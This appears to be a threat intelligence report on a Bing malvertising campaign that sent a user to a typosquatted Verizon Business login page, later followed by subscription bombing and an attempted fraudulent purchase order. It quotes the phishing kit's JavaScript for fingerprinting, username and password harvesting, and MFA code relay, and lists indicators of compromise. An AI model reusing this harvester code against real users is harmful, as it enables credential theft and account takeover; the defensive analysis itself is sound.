Verizon Business Malvertising
Verizon Business Malvertising
Key Findings
- Verizon Business Malvertising Campaign
- Actor subscription bombed victim to hide transaction details
- Fraudulent purchase order attempted on the Verizon Business account
Overview
Initial access began in September, when a user searched Bing for “Verizon Business”. This search led to a malicious ad serving a typosquatted domain that masqueraded as the Verizon Business account login page. The user entered their credentials on this page.
In November, the user began experiencing subscription bombing events. Their inbox was sent thousands of emails from service providers, websites, and subscription services. These emails were sent to hide the emails from Verizon Business regarding account detail changes and transactions.
Credential Harvesting
The malicious ad served by Bing redirected to mb[.]loglnverlzonwireless[.]com. This domain mimics the Verizon Business login page.
The page fingerprints visitors using the FingerprintJS library. The domain collects visitor information and POSTs it to /collect-fp.
// Initialize the agent at application startup.
// If you're using an ad blocker or Brave/Firefox, this import will not work.
// Please use the NPM package instead: https[://]t.ly/ORyXk
const fpPromise = import('/js/fp.v4.js')
// const fpPromise = import('https[://]openfpcdn.io/fingerprintjs/v4')
.then(FingerprintJS => FingerprintJS.load())
// Get the visitor identifier when you need it.
fpPromise
.then(fp => fp.get())
.then(result => {
// This is the visitor identifier:
//const visitorId = result.visitorId
//console.log(result)
// console.log("User Agent:", navigator.userAgent);
result.userAgent = navigator.userAgent;
// console.log("App Name:", navigator.appName);
result.appName = navigator.appName;
// console.log("App Code Name:", navigator.appCodeName);
result.appCodeName = navigator.appCodeName;
// console.log("App Version:", navigator.appVersion);
result.appVersion = navigator.appVersion;
// console.log("Platform:", navigator.platform);
result.platform = navigator.platform;
// console.log("Product:", navigator.product);
result.product = navigator.product;
// console.log("Product Sub:", navigator.productSub);
result.productSub = navigator.productSub;
// send to endpoint
fetch('/collect-fp', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(result)
});
})
When the user submits their username, the page POSTs the username to /_login. The POST data contains the login username and the device width and height. On a truthy response, it redirects to the password harvester.
$(document).on('click', '#login', function (e) {
$('.n_preloader').show();
e.preventDefault();
$.ajax({
type: 'POST',
url: '/_login',
data: {
'login': $('#userId').val(),
'device': $(window).width() + 'x' + $(window).height()
},
cache: false,
success: function (r) {
if (r) {
window.location.href = '/account/business/login/password';
return false;
}
}
});
});
The password harvester is similar to username page. It POSTs the submitted password to /_password with a tracking ID and the password value.
$(document).on('click', '#submitButton', function (e) {
$('.n_preloader').show();
e.preventDefault();
$.ajax({
type: 'POST',
url: '/_password',
data: {
'id': $(this).data('id'),
'password': $('#password').val()
},
cache: false,
success: function (r) {
if (r) {
// setTimeout(function tmp() {
// $.ajax({
// type: 'POST',
// url: '/_is_login_ok.php',
// cache: false,
// success: function(r) {
// if (r) {
// window.location.href = r;
// return false;
// }
// }
// });
// setTimeout(tmp, 3000);
// }, 3000);
}
}
});
});
When the username and password have been passed back to the server, they are likely relayed to the legitimate Verizon Business login page.
The server tells the page which MFA prompt to display through the /ajax/_autocomplete polling endpoint. The submitted passcode is POSTed to the server with the same ID as the password. The page polls until the operator redirects it.
$('#verification-code-container').hide();
$('#verification-link-container').hide();
if (lastPartUrl === 'textdelivery' && verifyType === 'text') {
if (verifySubtype === 'code') {
// console.log('show verification code');
$('.opt-container-1-1').css('visibility', 'visible');
$('#verification-code-container').show();
$('.n_preloader').hide();
}
if (verifySubtype === 'link') {
// console.log('show verification link');
$('.opt-container-1-1').css('visibility', 'visible');
$('#verification-link-container').show();
$('.n_preloader').hide();
}
}
if (lastPartUrl === 'emaildelivery' && verifyType === 'email') {
if (verifySubtype === 'code') {
// console.log('show verification code');
$('.opt-container-1-1').css('visibility', 'visible');
$('#verification-code-container').show();
$('.n_preloader').hide();
}
if (verifySubtype === 'link') {
// console.log('show verification link');
$('.opt-container-1-1').css('visibility', 'visible');
$('#verification-link-container').show();
$('.n_preloader').hide();
}
}
// ...
$(document).on('click', 'button#send_passcode2', function () {
$('.n_preloader').show();
const url = $(this).data('url');
const checkUrl = $(this).data('checkurl');
$.ajax({
type: 'POST',
url: $(this).data('url'),
data: {
'id': $(this).data('id'),
'passcode': $('#passcode').val()
},
cache: false,
success: function (r) {
if (r) {
setTimeout(function tmp2() {
$.ajax({
type: 'POST',
url: checkUrl,
cache: false,
success: function (r) {
if (r) {
window.location.href = r;
return false;
}
}
});
setTimeout(tmp2, 3000);
}, 3000);
}
}
});
});
It is likely that the actor stole the credentials in late September and waited until early November to utilize them. In early November, the user experienced significant amounts of emails related to subscription confirmations, registrations, and account changes.
The actor used the subscription bombing to hide the Verizon Business emails related to the account detail changes and purchase orders. The Verizon Business account’s password and security questions were reset, and a fraudulent purchase order was attempted.
Analysis Notes
The time gap between the user interacting with the credential harvester and the subscription bombing events and fraudulent purchase suggests that the actor had persistent access to the account for some time.
The domain is fronted by Cloudflare. The page now returns a 404 when attempting to access the phishing content.
Indicators
Domain
- mb[.]loglnverlzonwireless[.]com
Notable endpoints
- /_login
- /_password
- /ajax/_autocomplete
- /collect-fp